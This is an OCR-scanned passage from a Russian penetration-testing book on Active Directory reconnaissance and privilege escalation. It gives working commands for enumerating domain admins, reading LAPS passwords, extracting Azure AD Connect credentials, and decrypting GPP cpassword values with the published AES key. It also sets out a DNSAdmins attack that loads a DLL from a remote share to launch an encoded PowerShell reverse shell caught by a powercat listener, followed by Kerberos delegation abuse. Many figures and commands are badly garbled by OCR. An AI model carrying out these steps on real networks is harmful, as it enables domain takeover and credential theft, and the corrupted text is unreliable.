Гла ва 1 20 [] Get-DomainGroup -GroupProperty Distribution - найти группы распространения; [] Get - DomainGroup -GroupPrope rty CreatedBySystem - найти группы, созданные СИС-. темой. Инqюрмация из локальн ых гру пп ·Active Directory Найти локальных администраторов (рис. 1 .8) можно с помощью команды: > Invoke-EnumerateLocalAdmin 1 f t -autosize PS C:\lemp> l11vokP-Г1н1mernlPI ocnlf1</miп i HПHNING: Г! -<111tosize 7 colLJmпs <lo rюt fit iпto tl1e <lisplay авd 1•1ere removecl. Comp11t erName rkcOLJlltN,1me PRfMПRY. lesllnb.locnl PRIMRRY. l es l] r!I). ! OCd] PRIMRRY.lestlab.local PRIMПRY.testlab.local HINUOHS2.tcstlab.local \·J I NOO\·IS2.t es t 1 ,,1). J осн 1 HTNOOWS2.teslldb.locнl \НtIOO\·IS!. lesllalJ.local WTNOOWS1. testlab.loca] WINOOWSl.testlab.local S-15 21 45 .. . tesllab.locdl/Rdmi11islгatoг t es 11п!J.1 ocn l /Г:в tеrрг i se R(Jmi 11s S-1-5-21-45 .. . Рис. 1 .8. teslldb.locdl/Oomaiв Rdmi11s testlab.local/svcaccouвt W1NOOWS2/Admi11istгatoг WINDOWS2/localadmin testlпl). local/Oomai11 R<lmi11s \ШIOO\·JS l!Atlm i 11 i str· аt ог WINDOWSl/localadmi11 tcstlab.locdl/Oomai11 Пdmins SlD S-1-5·21-45 . . . S-1-5-21-45 . .. S-1-5-21-311 .. . S-1-5-21-34 .. . s�J -5-21-45 . . . S-1-5-21-66 ... S-1-5-21-66 .. . S-1-5--21-45 .. . Список локальных администраторов Получить список всех пользователей поможет модуль PowerShell activedirectory, достаточно выполнить команду Ge t_ADUser -filter *. Получить список групп, в ко торых числится определенный пользователь, можно командой Get -NetGroup UserName [user ] . Также есть возможность узнать список компьютеров, к которым имеет доступ кон кретный пользователь или группа. Для этого используйте команды: > Find-GPOLocation -UserName [user] > Find-GPOLocation -GroupName [ group] Но можно вернуть и список объектов, имеющих доступ к определенному компью теру. Для этого есть команда: > Find-GPOComputerAdmin -ComputerName_ [ computer] -Recurse Еще очень важная информация, которую мы можем получить: какие объекты груп повой политики применяются к конкретной машине. Делается это командой > Get-Doma inGPO -Computer!dentity [ PC_id] -Properties displayname Важно, что все эти функции позволяют запрашивать информацию без повышенных привилегий.
Разведка в Active Directoгy. Получаем пользователь ские данные в сетях Windows Local Administrator Password Solution 21 , Local Administrator Password Solution (LAPS, https://www.microsoft.com/en-us/ download/details.aspx?id=46899) система, предназначенная для управления па ролями локальных администраторов на компьютерах домена. Она позволяет адми нистратору домена периодически менять паро,ль учетной записи локальных адми нистраторов, делегировать права на чтение и сброс пароля для пользователей или групп Active Directory, а также обеспечивает хранение паролей в расширенном атрибуте объекта компьютера в Active Directory. Система состоит из трех компо нентов: агента, модуля PowerShell для настройки системы, Active Directory для хра нения паролей. - Есть два способа обt�аружить LAPS. 1 . На всех хостах, где установлен LAPS, в папке файл AdrnPwd . dll. с : \Program Files \LAPS\CSE\ будет 2. Конфигурации LAPS определяются в объектах групповой политики. Командой Get-Doma inGPO -Identity " * LAPS * " можно поискать любой объект групповой поли тики, у которого есть слово LAPS в отображаемом имени. displayname LAPS gpcfilesyspath 4F54 -B2BD-FE3BF1A71BAA) \ \test . local\SysVol\tes t . local\Policies \ { C 3 8 0 1ВAB -5 6D9- CN= { C3 8 0 1BA8 - 5 6D9-4F5 4 -B2BD distinguishedname FE3BF1A7 1BAA) , CN=Policie s , CN=System, DC=testlab, DC=local Таким образом мы сможем определить, есть ли LAPS на нашей машине. Когда мы выясним, что LAPS на машине точно есть, смотрим конфиг. Конкретная конфигу рация для политики LAPS находится в Registry. pol в раздеде gpcfilesyspath. ДлJt декодирования используйте инструмент GPRegistryPolicy (https://github.com/ PowerShell/GPRegistryPolicy): Parse-PolFile " \ \test . local\SysVol\test . local\Policies\ { C8 7 0 1 BAB -5 6D9-4 1 2 3-BбB2FE3 FA5 031BAA) \Machine\Registry . pol" · Пример вывода команды: KeyName Software \Pol icies\Microsoft Services \AdrnPwd ValueName PasswordComplexity ValueT ype REG DWORD ValueLength 4 ValueData 4 KeyName Software\Policies\Microsoft Services \AdrnPwd ValueName PasswordLength ValueType REG DWORD ValueLength 4 ValueData в
Глава 1 22 KeyName Software\ Policies\Microsoft Services\AdmPwd ValueName Pas swordAgeDays ValueType REG DWORD ValueLength 4 ValueData 30 KeyName Software \Policies\Microsoft Services \AdmPwd ValueName AdminAccountName ValueType REG SZ ValueLength 26 ValueData local f ish KeyName Software \ Policies\Microsoft Services\AdmPwd ValueName AdmPwc!EnaЬled ValueType REG DWORD ValueLength 4 ValueData 1 Сложность пароля равна четырем (верхний и нижний регистры, а также цифры и специальные символы), длина пароля - восемь символов, срок действия пароля 30 дней, и политика распространяется на локальную учетную защ1сь localfish. Теперь найдем все компьютеры, к которым применен этот объект групповой поли тики. Дriя этого нам нужно знать GUID этого объекта. Сначала определим подраз деления, а потом в каждом подразделенИ:и найдем рабочие станции. > Get-DomainOU -GPLink "C3 8 0 1ВA8 - 5 6D9-4F54-B2BD-FEЗB F1A71BAA" -Properties distinguishedname dist inguishedname .QU=Workstations , DC=testlab, DC=local OU=Servers , DC=testlab, DC=local > Get-DomainComputer -SearchВase " LDAP : / / OU=Workstations , DC,,; testlab, DC=local" -Properties di stinguishedname dist inguishedname CN=WKSTN02, 0U=Workstations , DC=testlab, DC=local CN=WKSTN O l , OU=Workstations, DC=testlab, DC=local CN=WKSTNOЗ, OU=Workstations , DC=testlab, DC=local CN=WKSTN 0 4 , 0U=Workstations , DC=testlab, DC=local > Get-DomainComputer -SearchВase " LDAP : / / OU=Servers , DC=testlab , DC=local" -Properties dist inguishedname distinguishedname CN=FSO l , OU=Servers , DC=testlab, DC=local
Разведка в Activв Directory. Получаем пользовательские данные в сетях Windows 23 Мы нашли все компьютеры, на которые распространяется эта конфигурация LAPS. Компонент LAPS PowerShell дает много возможностей. Наnример, вот такой кома.Идой мы можем определить, что LAВ\Workstation Aclrnins и LAВ\Server Aclrnins име ют расширенные права в подразделениях Workstations и Servers: > Find-AclrnPwdExtendedRights - I dentity "Workstations " 1 fl ObjectDN OU=Workstations , DC=testlab, DC=local ExtendedRightHolders : { NT AUTHORI TY\SYSTEM, LAВ\Domain Aclrnins , LAВ\Workstation Aclrnins } > Find-AclrnPwdExtendedRights - I de ntity " Servers" 1 fl OU=Servers , DC=testlab, DC=local Obj ectDN ExtendedRightHolders : { NT AUTHORITY\SYSTEM, LAВ\Domain Aclrnins , LAВ\Server Aclrnins } Теперь легко получить пароль. > Get-AclrnPwdPassword -ComputerName wkstn02 1 f l ComputerName WKSTN02 Distingui shedName CN=WKSTN02, 0U=Workstations , DC=testlab, DC=local Password ! qP) iyT ExpirationTimestamp AppLocker AppLocker - технология, которая позволяет системному администратору блокиро вать выполнение определенных исполняемых файлов на компьютерах в сети. То есть можно создать правила, по которым будет выдаваться разрешение на выпол нение или отказ. Например, можно проверять уникальные идентификаторы файлов и разрешать запуск только определенным пользователям или группам (рис. 1 .9). /(1•yN.1m' ViJlutN.1m1 V.1lt1t> fypt V,Jlui•!Pn1•tt1 Valщl)Jt J , \о! 1w.1rP\Po} J, 1 • �\Мн r o .o • f1\W111(Jow• \'11 r•VJ\l ic:1•\'JJ1r r4нI fit•l/ Л(,', 1 r,r 1' \}<')ОЫJОа,, ;.i}O V,1!ш1 IH( '•· /\� , �1 1 I1•f\1thRult• 1d 9llr11\til brll 4!'.;J BI!<-. O',Ob80<itt-J20� Nafll' (OE-f.:НJJt l!uli') AIJ filf" > lor,1trd 1n tht• Prog11<1 . 1 ll)t", folJ•r , mr•mlJl"Г-. of tl11> [•1r1yont 1:1oup t() 1 1т щ>1pl11nt1c111-, thut iHi' ltк..1t1•d н1 1111• Prщ�rd111 I J}t><> fQldP1 U'><l-<")r(iruup'нrJ ) 1 1 О Ar t 1 ш1 А1 !ow <lr,nri 1 t1 011" <r J ll'P.-itl1t0111J ! 1 1т1 f),J t 11 "%PH{X,R/\Jo\I f 1 1)'Х\�" />,/( 1in'1 11 ion .• >< /1 1 Jf'l-',1t hliL1l1• Рис. 1 .9. ().r'.(f•iptнm ·дllot'i', Пример разрешающего правила AppLocker Обычно конфигурация AppLocker применяется через объект групповой политикИ. В таком случае легко извлечь конфигурацию из SYSVOL, если у нас есть доступ на чтение к общему ресурсу. Как просмотреть объекты групповой политики и к каким машинам они применяются, смотрите в разделе LAPS. Оrличается только путь: Software\Policies\Microsoft\Windows \SrpV2 \%ext% \xxxxxxxx-xxx-xxx-xxx-xxxxxxxxxxxx Есть три способа применения запрещающего правила (рис. 1 . 1 О): и File Hash. На месте %ext% используйте ключи: Аррх, Ехе, Dll, Msi, Script� PuЫisher, Path
24 Глава 1 KeyName ValueNarne Valuelype Va}uelength ValueData · Software\Po11c:1es\l'l1crosoft\W1ndows\SrpV2\Exe\09a9fbS2-Scca-4a8d a6f9 2е8fбеа43722 Value REG SZ 1146 � ' <FilePubllsberRule Jd""09a9fb52 5сса 4a8d абf9 2e8f6e843721" Nal'lle""PCМERSHEll ЕХЕ, version 10 0 0 0 and аЬоvе, SYSHM, fr'Olll 0-ФIICROSOП CORPORAПON, L•Rf!ЮIO, Sл\iдSНINGТ<VJ, C•USM Oesc.ription•""" UserOrGroupSid•"S-1 1 0" !n mCROSOF1° WIND<МS• ОРЕМПНG Action=-нlkny" ><(ondltions ><FilePublisherConditiш1 PuЬlis�r-N.зmea""0"'1'UCROSOFT CORPORATION, l"REDi'.ЮtIO, 5-wдSHINGTON , C-US"' PN>ducHlame• "MICROSO!=T• WIN!XМ')" ОРЕRдТitК; SYSПM Binary!Ja111e". "J>OiJfRSНELL EXE"><81naryVersionRange lowSection""10.0 0 0» H.ighSertioл•">I'"/></Fl lePuЫ isherCond 1t100></Cond1tloлs></F 'llePuЫi sh�чRule> Рис. 1.10. Пример запрещающего правила AppLocker Azure Active Directory Azure Active Directory (Azure AD, https://azure.microsoft.com/ru-ru/services/active directory/) - облачная служба управления удостоверениями и доступом. Она нуж на для создания учетных записей пользователей и управления ими и применяется в облачных сервисах Microsoft, таких как Azure, Office 365, SharePoint. Если в AD для аутентификации пользователей служит Kerberos, то здесь в той же роли ис пользуется OAuth 2.0. Синхронизация AD и Azure AD происходит по трем сценариям. 1 . Сценарий синхронизqции каталога. Он позволяет синхронизировать с облаком новые учетные записи пользователей и групп, при этом логин у пользователя синхронизируется с AD, а пароль придется сменить, т. к. он не синхронизиру ется. 2. Сценарий синхронизации паролей дает возможность пользователям логиниться в облачный сервис с паролем от локальной учетной записи AD. При этом син хронизируется логин и хеш пароля. 3. Сценарий единого входа обеспечивает проверку подлинности пользователей в локальном каталоге AD и позволяет реализовать сценарий единого входа с ис пользованием корпоративных учетных данных - за счет синхронизации токе нов доступа. Про атаку на сценарий единого входа много рассказывать не станем, т. к. для ее реализации нужны права администратора. Поскольку пароль в данном случае пере дается между Azure AD Connect и Azure ServiceBus в открьtтом виде, есть возмож ность его перехватить. FileAzureadHookDLL (https: //gist.github.com/xpn/79a7f9 66b9dffd0ccf3505787f8060d7) позволяет внедрить DLL и получить пароль пользо ват�ля во время соединения. В качестве параметра данное приложение принимает PID процесса AzureADConnectAuthenticationAgentService [ * ] . С ценари й синхронизации пароле й Для нас особенно интересен сценарий синхронизации Паролей (PHS, рис. 1 . 1 1 ) . Для синхронизации данных в AD есть приложение Azure AD Connect, которое извлека ет данные из AD и передает их в AAD. За синхронизацию отвечает служба DCSync.
Разведка в Active Directory. Получаем пользовательские данные в сетях Windows [§1 ...Azure AD соппесt �-- " Oп-premises Active Directory D Приложе Приложения ния SAAS " " ' � о Е3 i Пользователь 25 Устройства Рис. 1 . 1 1 . Схема синхронизации AzureAD Connect При создании соединения на хосте заводится новая база данных, при этом исполь зуется LocalDB для SQL Server. Мы можем просмотреть информацию о работаю щем экземпляре с помощью инструмента SqlLocalDb . ехе (рис. 1. 1 2). C : \Program F i l es \M i c rosoft SQL S e r v e r \ 1 10\Tool s \ B i n n > Sq l l o c a lDB . exe Name : ADSync Shared name : ADSync Owne r : NT S E RV I C E \ADSync I n s t a n c e pipe name : np : \ \ . \ p i p e \ LOCALDB#SH0C43C9\ t sql\query . \ADSync C : \Program F i le s \Mic rosoft SQL S e r v e r\ 1 1 0\Too l s \ B i n n >. Рис. 1 .1 2. Пример работы SqlLocalDb.exe База данных поддерживает Azure AD Sync - в ней хранятся метаданные и конфи службы. Зашифрованный пароль находится в таблице гурации для agent в поле encrypted_configuration, и для его расшифровки ADSync . dЬo . ппns_management_ ИСПОЛЬЗуется библиотека С : \Program Files \Microsoft Azure AD Sync\Binn \mcrypt . dll. Расшифровывать можно при помощи AzureadDecryptorMsol.ps l (https:// gist.github.com/xpn/Odc393e944d8733e3c63023968583545, рис. 1 .13). · Рис. 1 .1 3. Пример работы скрипта AzureadDecryptorМsol.ps1
Глава 1 26 Как вИдите из конфигурации безопасности, если получится скомпрометировать сервер с Azure AD Connect и получить доступ либо к ADSyncAdmins, либо к ло кальным группам администраторов, то открывается возможность заполучить учет ку, которая может выполнять DCSync (рис. 1 . 1 4). 8 18 EJ Security lli LDgins Ас Ас HMS_PolicyEventProcessingLogin## ##МS_PoficyТsqlExecutionLogin## BUIL TIN\Admin1strators 1 LAВ\Administrator 1 NТ SERVICE.\ADSync 1 NТ SERVICE.\SQLWriter Ас sa :[8 WINDOWS-VМWARE.\ADSyncAdmins + Server Roles Рис. 1 . 1 4. Конфигурации беЭоnасности С ценари й синхронизации каталога В этом сценарии к одной и той же учетной записи в AD и AAD применяютс� раз ные пароли, что делает неаК'l)'альной атаку на сессию синхронизации. Но так как остальные учетные данные в случае синхронизации будут совпадать, мы можем провести разведку для AAD, и ее результаты в большинстве будут аК'l)'альны . для АD. ' Для удобства будем использовать Azure CLI, это инструмент для Linux, который используют в сетях Windows. Начинаем с команды az login она сгенерирует ло. кальные токены OAuth, откроет окно браузера на странице авторизации, и вы смо жете войти под уже имеющимся пользователем. Следующая команда позволяет получить список пользователей, параметр output определяет формат представления данных, а query какие данные выводить. - - az ad user list --output=j son --query= ' [ ) . { UPN : userPrincipalNarne , Narne : displayNarne, Email : mai l , Useri d : mai lNicknarne , EnaЬled: accountEnaЬled) ' , Вот некоторые другие- возможности. Список групп: az ad group list --output=json -query= ' [ ] . { Group : displayName , Description : description ) ' Список пользователей в определенной группе: az ad group memЬer list --output=j son --query= ' [ ] . { UPN : userPrincipalNarne , Narne : displayNarne , Userid : mailNicknarne, EnaЬled : accountEnaЬled ) ' - -group= ' <group narne> ' Список приложений: az ad арр list --output=j son --query= ' [ ] . { Narne : displayName , URL : homepage ) '
Разведка в Active Directory. Получаем пользователь ские данные в сетях Windows 27 Все службы: a z a d s p l i s t --output=j son --query= ' [ ] . { Narne : displayNarne , EnaЬled : accountEnaЬled, URL : homepage } ' Информация о конкретной службе: az ad sp list --output=j son --display-narne= ' <display narne> ' Теперь вы знаете все лазейки и методы, с помощью которых можно получить ин формацию для проведения атак на пользователей, повышения привилегий, боково го продвижения и захвата ceтit: в целом.
ГЛАВА 2 Актуальные методы ..., повы шения привилегии Чтобы скомпрометировать контроллер домена, мало найти известную уязвимость, получить учетные данные пользователя или обнаружить ошибку в настройке поли тики безопасности. Это обеспечит вам минимальный доступ, но его может не хва тить для достижения всех намеченных целей. Поэтому залог успешной атаки получение повышенных системных привилегий в Active Directory. О методах ре шения этой увлекательной задачи мы и поговорим. Пароли из SYSVOL и GPP На каждом компьютере с Windows, который работает в сети с Active Directory, име ется встроенная учетная запись администратора, защищенная паролем. Одно из стандартных требований безопасности - регулярно менять этот пароль. Казалось бы, задача несложная. Но только не когда в сети насчитывается под сотню машин. Чтобы облегчить себе жизнь, ленивые системные администраторы иногда исполь зуют групповые политики для установки пароля локального администратора на большом количестве рабочих станций. Это довольно удобно, да и заменить такой пароль, когда придет срок, можно за пару минут. Одна незадача: на всех компьюте рах пароль локального админа будет одинаковый. Из этого следует вывод: получение учетных данных администратора на одной из машин сделает злоумышленника админом сразу на всех. Рассмотрим два способа достижения такого результата. Учетные данные в SYSVOL SYSVOL - это общедоменный ресурс Active Directory, к которому у всех автори зованных пользователей есть Доступ на чтение. SYSVOL содержит сценарии входа, данные групповой политики и другие данные, которые должны быть доступны вез де, где распространяется политика домена. При эт<?м SYSVOL автоматически син-
Глава 2 30 хронизируется и используется всеми контроллерами домена. Все групповые поли тики домена хранятся по адресу ' \ \<Дoмeн>\SYSVOL\<Дoмeн>\Policies\ Чтобы упростить управление локальной учетной записью администратора на уда ленных компьютерах с Windows, для каждой из них можно использовать собствен ный сценарий смены пароля. Проблема в том, что часто пароль хранится в виде открытого текста в скрипте (например, в файле VBS), который, в свою очередь, находится в SYSVOL. Вот пример одного из результатов поиска сценария VBS, меняющего пароль локального администратора на сетевых машинах (рис. 2. 1 ) . Viюet Bas!(; : Set oЗhell "' CroataOЬj ect ( "W:Зcript . Зhell " ) Const ЗОСС!!:ЗЗ "' О euaer = "•dminiatretor• al'wd = • eaaaworct2* • • gет; thi> loaal coJl\Pµtarn.,.." with WЗcript .Network., or aet ecomputerNam" to а remote computer Sot oW:ahNet ' = CreateOЬject ( "W:Зcript . Network") aComputerName Set oU•er • • oWaЬNet . COl!lpUt"dlame = GetOЬ:ject(•WinNTs//• •/• Set the paasword oOeer .ЗetPaeeword oUser.Зetin.fQ 1 ' aComputerName ' / a�d oShell . Loq!!vent SUCCES З & sUaer) , "Local Adminiatrator paaaword was ehanged ! " Рис. 2.1 . Пример VВS-скрипта с официального сайта MSDN Этот сценарий доступен в галерее Microsoft TechNet, из-за чего нередко использу ется системными администраторами, которые предпочитают готовые решения. Из влечь из него пароль не составляет никакого труда. А поскольку скриm хранится в SYSVOL, к которому у каждого пользователя домена есть доступ для чтения, наличие пароля автоматически превращает его обладателя в локальн0го админист ратора на всех сетевых машинах с Windows на борrу. Настройки групповой политики В 2006 году инструмент PolicyMaker от Microsoft Bought Desktop Standard бьm пе реименован и выпущен вместе с Windows Server 2008 как Group Policy Preferences (GPP, «предпочтения групповой политики))). Одна из наиболее полезных функций GPP - возможность создавать локальных пользователей, настраивать и изменять их учетные записи, а также сохранять учетные данные в нескольких файлах сце нариев: l::J карта дисков (Drives . xrnl); l::J источники данных ( DataSources . юnl);
А ктуальные методы повышения привилегий 31 l:J конфигурация принтера ( Printers . xml) ; l:J создание/обновление сервисов ( services . юnl) ; l:J запланированные задачи (scheduledTasks . xml) . Инструмент, безусловно, полезный: с его помощью можно автоматизировать мно гие рутинные действия. Например, GPP позволяет использовать групповую поли тику для выполнения запланированных задач с заданными учетными данными, а также при необходимости менять пароли локального администратора на большом количестве компьютеров. Теперь давайте посмотрим; как эта ш�а работает. При создании нового предпоч тения групповой политики в SYSVOL генерируется связанный ХМL-файл с соот ветствующими данными конфигурации. Если в ней указан пароль пользователя, он будет зашифрован AES 256 бит. Но в 2012 году Microsoft опубликовала в MSDN ключ AES, который можно использовать для расшифровки пароля (рис. 2.2). • 2.2.1.1 Prefe1·ences Policy File Format 2.2.1.1.1 Common XML Schema 2.2.1.1.2 Outer and lnner Element Names and CLS!Ds 2.2. 1 . 1 .4 Pa sswo rd E ncryption 2.2.1.1.3 Comnюn XML Attributes All passwords are encrypted using а derived Advanced Enayption Standard (AES) kеу.<З> 2.2.1.1.4 Pиsword Тhе 32-byte AES key is as follows: Enc:ryption 2.2.1.1.5 Expanding Enviroпment VatiaЫes 4е 99 Об е8 f4 96 е8 Об Рис. 2.2. fc Ьб бс с9 се 05 79 90 fa f 4 93 10 20 9Ь 09 а4 62 Of fe ее 33 Ьб бс' lb Ключ шифрования, представленный MSDN Иными словами, любой авторизованный в домене юзер может найти в общем ресурсе SYSVOL файлы ХМL, содержащие cpassword, т. е. зашифрованный пароль AES. 1 » 1111 ,i .:. t : 1 •.•!-1 -�-Jl l , •')ll ,;.:.. 1·1.: ·�·, ol 1 t p·1-::- 'l t_j t f - -1 - " --Ц f-С , •'.[ •_"![ ·>" ' " " 1_ 1 _ . - 1 1. l ·.i = " ·: c.•F"-Г l ..J•l , ..J :�.-t-- l t [ ·· .{-;[ ·F:""c:F, � l [· l } " 1 1 ·1111" -� " 1 ·1 ·"· 1 " :1 1 :1 ·i1c11 1 1 " 1 111. 1•1·· сс " ""' · ! 1 . 11·1· 1-•·•I ·. .:."· :- " '.1 '- "- 1 - Jl: -._ - l·'f [-<. • ·· -11 ·.•-1 EE'·.• l [ = " -':' 1 ··· - •.:•- - l� . .� : •:• J : _ , I J J · k " { • y:.F[,.j �·-·:" " 1 r·1 t· " .•• 1_- := '1 •"1 11 ,• .:. 1 1 1··· ,' ..- !=-'· ' 1 l ' • :: в ' ' 11 , • . Г- ' 1· ;;,- .•;..; ! t 1 •• • j , - t '[ ,·, 1 ·1 :::: 11 1н 1 ! •" " r J. 111 1.:.. �:- 11 tf t r 1 '1 1 1 J. 1 1 1 1•· ::::: 11 1' 1'! - . ' 1 1 1- t. 1 • л = " " r:· .o -., <, ,, • • r .J�" l 1_1 ' " j 1!1l :·�1- f \•·, l f' J 1 ·:1f 1 . \ .[[: J •: t • •Г •. · 1· ·I · ,. •l l- " [-.-1 :. " ' '-•1·"·1 " · 1 1.'<1 1 .1 ·-� ·: _L1 1 ·:, .�jt_ - ·: 1 .:.:: L •_+'' _..IJ!. 1 _...:. 1.1'·j 1 ·:1 r 1 t_ ) =1' " .:1..:: L•:нJ.-_·1·1 = " ·�1 1' 1·1·_ 1·1 ;! 1 ' 1 "� :::' 1 •' п .:...:.. ". ,_,· 1 1:::: J f · l r ·--· ' •.1 : - 1 I J '11i1"-=" 1·1"'" "· 1_. ..- ,� 1. о, .:1 1111 1·1 '; •· , ' ':>r ("·l l • : 1_ . · 1 ,:J = " { ': l ..:':p_., , c . Ef': l •', - -1\ .4.- . ,.. . :=::"'.': •:. J E''-. '_,г ,_. 1.1 1: ·:- 1_;1 -" I " Рис. 2.3. Пример содержимого файла Groups.xml Быстро найти эти значения можно следующей командой: С : \> findstr /S /I cpassword \\<FQDN> \sysvol\<FQDN>\policy\ * . xrnl Для расшифровки пароля можно воспользоваться инструментом Cryptool (https:// при этом нужно в ручном режиме декодировать Base64 www.cryptool.org/en/),
Глава 2 32 и указать ключ с MSDN (подробная инструкция по расшифровке приведена в статье на Хабре: https://habr.com/ru/post/481532/). Существует и полностью автоматизированное средство под названием gpp-decrypt(https ://tools kali org/ password-attacks/gpp-decrypt), которое требует только значение cpassword и уже предустановлено в Kali Linux. Аналогичная утилита для Windows называется Get-GPPP�ssword (https://github.com/PowerShellМafia/PowerSploit/bloЬ/master/ Exfiltration/Get-GPPPassword.psl), ее можно отыскать в наборе программ PowerSploit. . . Ну а для очень ленивых есть модуль smЬ_enum_gpp из набора Metasploit. Эrот инст румент попросит указать только учетные данные µользователей и адрес контролле 1 ра домена. Так мы можем получить пароль локального администратора, и в большинстве слу чаев он будет работать на всех компьютерах домена. DNSAdmins Microsoft не только реализовала собственный DNS-cepвep, но и внедрила для него протокол управления, позволяющий интегрировать DNS-cepвep с доменами Active Directory. По умолчанию контроллеры домена также являются DNS-серверами, по этому DNS-cepвepы должны быть доступны каждому пользователю домена. Эrо, в свою очередь, открывает потенциальную возможность для атаки на контроллеры домена: с одной стороны, мы имеем сам протокол DNS, а с другой - протокол управления, основанный на RPC. Пользователь, входящий в группу DNSAdmins или имеющий права на запись в объекты DNS-cepвepa, может загрузить на DNS-cepвep произвольную DLL с при вилегиями System. Эrо очень опасно, поскольку многие корпоративные с,ети ис пользуют контроллер домена в качестве DNS-cepвepa. Таким образом, для реализации атаки мы можем просто загрузить на DNS-cepвep произвольную библиотеку с помощью dnscmd (путь \ \ops-bui ld\dll должен быть доступен для чтения DC): PS С : \> dnscrnd ops _dc/config/serverlevelplugindll \\ops-build\dll \mi.inilib . dll Чтобы проверить, была ли загружена DLL, можно использовать следующую команду: PS С : \> Get-ItemProperty HKLМ : \SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevel PluginD l l Так как наш пользователь - член группы DNSAdmins, мы можем перезапустить службу DNS: С : \> sc \\ops-d c stop dns С : \> sc \\ops-dc start dns После перезапуска DNS-cepвepa будет выполнен код из загруженной библиотеки. Такая библиотека, например, может содержать скрипт PowerShell (рис. 2.4) для обратного подключения (https://github.com/samratashok/nishang).
Актуальные методы повышения привилегий 33 • (GloЬ.l S<o�) #p,.';g;Da warning{disaЫe : 4996) if(kdns_logfile • _wfopen(L"ldwidns . log", L"a")) ilpragma warning(pop) { J G! kdns_DnsPlugi�PSТR pszQuщ№mr. WORD wQu•ryTypr. PSTR pszRecor klog{kdns_logfile, L"%5 (%1щ)\n", pszQueryName, wQueryType) ; fclose{kdns_logfile); sv stem('"C : \\Windows\ \SystemЗ2\\WindowsPowerShell\ \111.0\ \powershell . ехе -е SQВuAНYAЬwBrAGUALQВFAНgAcAВ return ERROR_SUCCESS; Рис. 2.4. Пример PowerShell-кoдa в DLL После успешного выполнения скрипта мы будем прослушивать на своем хосте об ратное подключение (рис. 2.5): P S С : \> powercat -1 -v -р 443 -t 1000 В результате мы получим права system на DC. Рис. 2.5. Пример успешного бэкконнекта Делегирование Kerberos Делегирование - это функция Active Directory, позволяющая учетной записи поль зователя или компьютера вьщавать себя за друrую учетную запись. В качестве примера разберем ситуацию, когда пользователь обраи.tается к веб-приложению, чтобы работать с ресурсами на сервере базы данных. Исходя из схемы, показанной на рис. 2.6, веб-сервер должен работать с сервером базы данных от имени пользователя. Здесь и помогает делегирование - к учетным записям пользователей в среде Windows применяется флаг TRUSTED_то_AUTHENTICATE _ FOR DELEGATION (T2A4D) User-Account-Control. Атрибут User-Account-Control (который не следует путать с механизмом контроля учетных записей Windows) устанавливает определенные атрибуты для учетных запи сей Active Directory - например, если учетная запись отключена, заблокирована или пароль пользователя никогда не истекает. Для реализации делегирования Microsoft внедрила расширение протокола Kerberos «Служба для доступа пользователя к себе» (S4U2Self). Это расширение позволяет службе запрашивать токен для другого пользователя, предоставляя имя пользова теля, но не вводя пароль. Когда учетная запись пользователя имеет флаг T24AD,
Глава 2 34 Компьютер пользователя Сервер баз данных Рис. 2.6. Схема взаимодействия с баэой даннь1х череэ веб-сервер такие токены могут быть запрошены с атрибутом forwardaЫe, который дает службе возможность аутентифицироваться с этими токенами для других служб. Чтобы избежать неограниченного делегирования, Microsoft гарантировала, что данные токены могут использоваться только для определенных служб, которые на строены для учетной записи пользователя через расширение «Служба для пользо вателя через прокси» (S4U2proxy). Этот параметр контролируется атрибутом msDS AllowedToDelegateтo в учетной записи пользователя. Ьн содержит список имен уча стников службы, который указывает, на какие службы Kerberos пользователь мо жет перенаправлять эти токены (так же, как выполняется обычное ограниченное делегирование в Kerberos). Например, вы хотите, чтобы ваша веб-служба имела доступ к общей папке для пользователей. Тогда учетная запись службы должна иметь атрибут: ms-DS-AllowedToDelegateTo "S IFS/fs . dom. com" Для наглядности рассмотрим схему аутентификации Kerberos (рис. 2.7). 1 . Пользователь аутентифицируется в веб-сервисе с использованием не КеrЬеrоs совместимого механизма аутентификации. 2. Веб-служба запрашивает билет для учетной записи user без указания пароля, как для учетной записи svc_web. svc_web userAccountControl для флага TRUSTED_то_ а также не заблокирован ли целевой пользователь для делегирования. Если все в порядке, КDС возвращает перенаправляемый билет дЛя учетной записи пользователя (S4U2Self). З . КDС проверяет значение AUTHENTICATE_FOR_DELEGATION, 4. Затем служба передает этот билет обратно в КDС и запрашивает билет для службы cifs/ fs . contoso . сот. 5 . КDС проверяет поле msDS-AllowedToDelega teTo в учетной записи svc_web. Если служба указана в списке, она вернет билет службы для общей папки (S4U2proxy).
Актуальные методы повышения привилегий 35 2 з 4 5 ос SVC_WEВ б user@dom.com Рис. 2.7. Схема аутентификации KerЬeros 6. Веб-служба теперь может проходить проверку подлинности на общем ресурсе в качестве учетной записи пользователя с применением предоставленного би лета. Н еограниченное дел егиро�ание При неограниченном делегировании Kerberos на сервере, на котором размещена служба, контроллер домена DC помещает копию TGT (ticket granting ticket - билет для получения билета) пользователя в TGS (Тicket Granting Server - сервер выдачи билетов или разрешений) службы. Когда данные пользователя предоставляются серверу для доступа к службе, сервер открывает TGS и помещает TGT пользовате ля в LSASS (Local Security Authority Subsystem Service - сервис проверки подлин ности локальной системы безопасности) для дальнейшего использования. Сервер приложений теперь может выдавать себя за этого пользователя без ограничений! Таким образом, хост, на котором активно неограниченное делегирование, будет содержать в памяти TGT делегированного пользователя. Наша задача - его дос тать, чтобы скомпрометировать пользователя. Данный вид атаки возможен, если мы скомпрометировали сам хост либо пользователя, имеющего право управлять хостом с делегированием. Обнаружить все компьютеры с неограниченным делегированием Kerberos очень просто: у них будет выставлен флаг TrustedForDelegation. Это определяется с помо щью инструмента ADModule (https://github.com/samratashok/ADModule), а кон кретнее - следующей команды: PS С : \> Get�ADComputer -Filter ( TrustedForDelegation -eq $True ) Того же результата можно достигнуть, выполнив такую команду PowerView: PS С : \> Get-DomainComputer-Unconstrained Теперь нужно отослать запрос MS-RPRN RpcRemoteFindFirstPrinterChangeNotification (аутентификация Kerberos) на сервер печати DC (служба Spooler). DC немедленно
